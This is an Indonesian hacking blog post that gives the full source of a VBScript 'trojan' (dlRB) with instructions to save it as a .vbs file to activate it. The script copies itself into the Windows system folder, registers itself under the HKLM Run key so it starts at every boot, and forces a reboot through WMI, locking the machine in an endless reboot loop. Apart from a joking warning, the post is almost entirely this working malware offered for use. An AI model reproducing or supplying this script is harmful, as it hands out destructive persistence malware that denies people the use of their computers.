Hy sobat blogger....
Kali ini ane update berita info hack. mungkin tutorial seperti ini sering sobat jumpai dimana pun. postingan kali ini hanya akan mengulas kembali sebuah postingan yg telah lama hilang. langsung saja. 

>>>note copy semua script berikut kedalam notepad lalu sobat save as dgn format .Vbs (jika ingin mengaktifkan) jika ingin tetap dalam file exstensi beri format .txt 
exampel : trojanhours.VBS

Copy semua script di bawah ini:

rem - dlRB "DL Reboot" Trojan script by I.T.S.

On Error Resume Next dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject ("Scripting.FileSystemObject") set sysDir = FSobj.GetSpecialFolder (1)

createRegKey "HKEY_LOCAL_MACHINE \Software\Microsoft \Windows \CurrentVersion\Run \dlRB",sysDir&"\dlRB.vbs"

sub createRegKey (regKey,regVal) set regEdit = CreateObject ("WScript.Shell") regEdit.RegWrite regKey,regVal end sub

set generateCopy=FSobj.CreateTextFile (sysDir+"\dlRB.vbs") generateCopy.close

set newFile = FSobj.OpenTextFile (WScript.ScriptFullname,1) setFile() fixedCode=replace (fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile (sysDir+"\dlRB.vbs",2) procreateCopy.write fixedCode procreateCopy.close

rebootSystem()

function setFile() fileData="rem - ^dlRB^ by D.L." &vbcrlf& _ "strComputer = ^.^ " &vbcrlf& _ "Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _ "& ^ {impersonationLevel=impersonate, (Shutdown)}!\\^ & strComputer & ^\root \cimv2^)" &vbcrlf& _ "Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _ "(^Select * from Win32_OperatingSystem^)" &vbcrlf& _ "For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _ "ObjOperatingSystem.Reboot ()" &vbcrlf& _ "Next" end function

function rebootSystem() strComputer = "."

Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate, (Shutdown)}!\\" & strComputer & "\root \cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _ ("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems ObjOperatingSystem.Reboot () Next end function


selesai dech sob. "jgn asal coba-coba. efek virus ini berbahaya. bisa mengakibatkan serangan jantung. gimana gak serangan jantung coba, komputernya hancur karna  virus ini. so, jgn MACAM-MACAM. OK.....

0 komentar:

Posting Komentar